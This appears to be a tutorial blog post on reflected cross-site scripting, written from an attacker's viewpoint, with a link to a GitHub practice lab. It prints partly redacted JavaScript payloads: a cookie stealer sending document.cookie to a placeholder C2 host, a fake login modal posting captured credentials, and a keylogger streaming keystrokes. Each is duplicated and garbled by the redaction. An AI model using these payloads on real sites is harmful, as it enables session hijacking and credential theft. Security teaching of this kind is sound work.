October 9, 2026
Reflected XSS: Understanding the Attack from “alert(1)” to a Real Threat
XSS, or Cross-Site Scripting, is one of the common vulnerabilities found in web applications. There are mainly three types of XSS…

By Alif Mortaza
3 min read
XSS, or Cross-Site Scripting, is one of the common vulnerabilities found in web applications. There are mainly three types of XSS: Reflected XSS, Stored XSS, and DOM-based XSS.
Unlike stored XSS, where malicious input is saved by the application and later served to other users, reflected XSS happens when attacker-controlled input is sent to a vulnerable endpoint and immediately reflected back into the webpage without being handled safely. That sounds less dangerous at first. This article will totally challenge that misconception. Writing from a hacker's perspective, we will look at how a simple reflection vulnerability is weaponized to execute code, hijack sessions, Data Spying or Manipulation through Fake Login Popups.
What a Hacker Can Steal
- Session Hijacking (Cookie Theft): Reading active session tokens from document.cookie to completely impersonate the user without needing their password.
- UI Manipulation (Fake Logins): Injecting fake HTML login forms over the legitimate page to trick users into typing fresh credentials such as useer name or passwords.
- Keystroke Logging: Monitoring and streaming live keyboard input in real-time as the user types.
- Data Spying: Reading sensitive personal data, messages, or financial information directly from the webpage's Document Object Model (DOM).
1. Session Hijacking (Cookie Theft)
If a website exposes session tokens to JavaScript, an XSS vulnerability may allow an attacker to access them. However, cookies protected by HttpOnly cannot normally be read through JavaScript. Even then, XSS may still let an attacker perform actions within the victim's active session. So as the victim clicks the link his browser session cookie will be stolen by the hacker and the hacker can easily logged into the victims account.
*****on(){
va* cookies = enc******nent(documt.cookie);
// REPLACE WITH YOUR C2 SERVER DETAILS
var c2_server = "http://YOUR-C2***********=" + cookies;
v__)))l = new Image();
c = ++++++er;
})(*****on(){
va* cookies = enc******nent(documt.cookie);
// REPLACE WITH YOUR C2 SERVER DETAILS
var c2_server = "http://YOUR-C2***********=" + cookies;
v__)))l = new Image();
c = ++++++er;
})(This kind of script grabs the victim's cookies, encodes them, and exfiltrates them by forcing the browser to load an invisible image pointing to the C2 server. {For ethical reasons, this is a conceptual demo only to help understand the core mechanics.}
2. UI Manipulation (Fake Login Popup)
An attacker may manipulate a vulnerable page to display a fake login form or security warning. Because the interface appears inside a trusted website, a victim may believe it is legitimate and enter sensitive information, but it goes straight to the hacker's server. through this a hacker can gain the sensitive information of a victim.
(function(){
var loginModal = docu*******lement('div');
loginModal.innerHTML = `
<div style="position:fix
*
*
<h3>Session Expired. Please log in again:</h3>*
*
*
*
*
body: JSON.stringify({username: u, password: p}),
mode: "no-cors"*************
});
loginModal.remove();
};
})()
(function(){
var loginModal = docu*******lement('div');
loginModal.innerHTML = `
<div style="position:fix
*
*
<h3>Session Expired. Please log in again:</h3>*
*
*
*
*
body: JSON.stringify({username: u, password: p}),
mode: "no-cors"*************
});
loginModal.remove();
};
})()
Hackers injects a fake login prompt like this one directly over the website to harvest raw credentials.{For ethical reasons, this is a conceptual demo only to help understand the core mechanics.}
3. Keystroke Logging (Spying)
JavaScript running through XSS may listen for keyboard events on the vulnerable page and capture input entered into its fields. This does not automatically mean the attacker can record every keystroke across the victim's entire device.
(function(){
var keys = "";
document.onkeypress = f****n(e) {
keys += String.fromCharCode(e.which);
}
*
*
*
*
keys = "";
}
}, 5000);
})();(function(){
var keys = "";
document.onkeypress = f****n(e) {
keys += String.fromCharCode(e.which);
}
*
*
*
*
keys = "";
}
}, 5000);
})();This kind of script intercepts every key pressed by the victim on the site and silently streams the buffer back to the listener every few seconds.
- Redirecting the Victim to Download Malicious Code An attacker may manipulate a page to redirect a victim toward an untrusted website. If the destination imitates a legitimate download page, the victim may be tricked into downloading a dangerous file. A redirect alone does not automatically execute downloaded code.
Explore the XSS Lab A beginner-friendly XSS Lab explains these concepts through simple, detailed, hands-on demonstrations, making them easier to understand. Explore the project and download it from GitHub to learn in your own authorized lab.
GitHub Repository: https://github.com/alifm0rtaza/XSS-Lab.git
or simply clone by;
1. Clone repository & enter directory
git clone https://github.com/alifm0rtaza/XSS-Lab.git cd XSS-Lab
2. Install dependencies
npm install
5. Malicious File Download (Drive-By)
A drive-by download scenario involves a victim receiving a file or being exposed to a download without fully understanding what is happening. XSS may help an attacker direct users toward a malicious download, but silently installing or executing a file generally requires additional conditions, such as user interaction, a browser vulnerability, or unsafe system configuration.
The Hacker's Mindset
When assessing reflected XSS, the important questions are: Where does the input appear? Is it interpreted as code? What can that execution access or change? And what is the actual impact? A successful proof of JavaScript execution is only the beginning. The real security assessment comes from demonstrating the vulnerability's impact safely and understanding how to prevent it.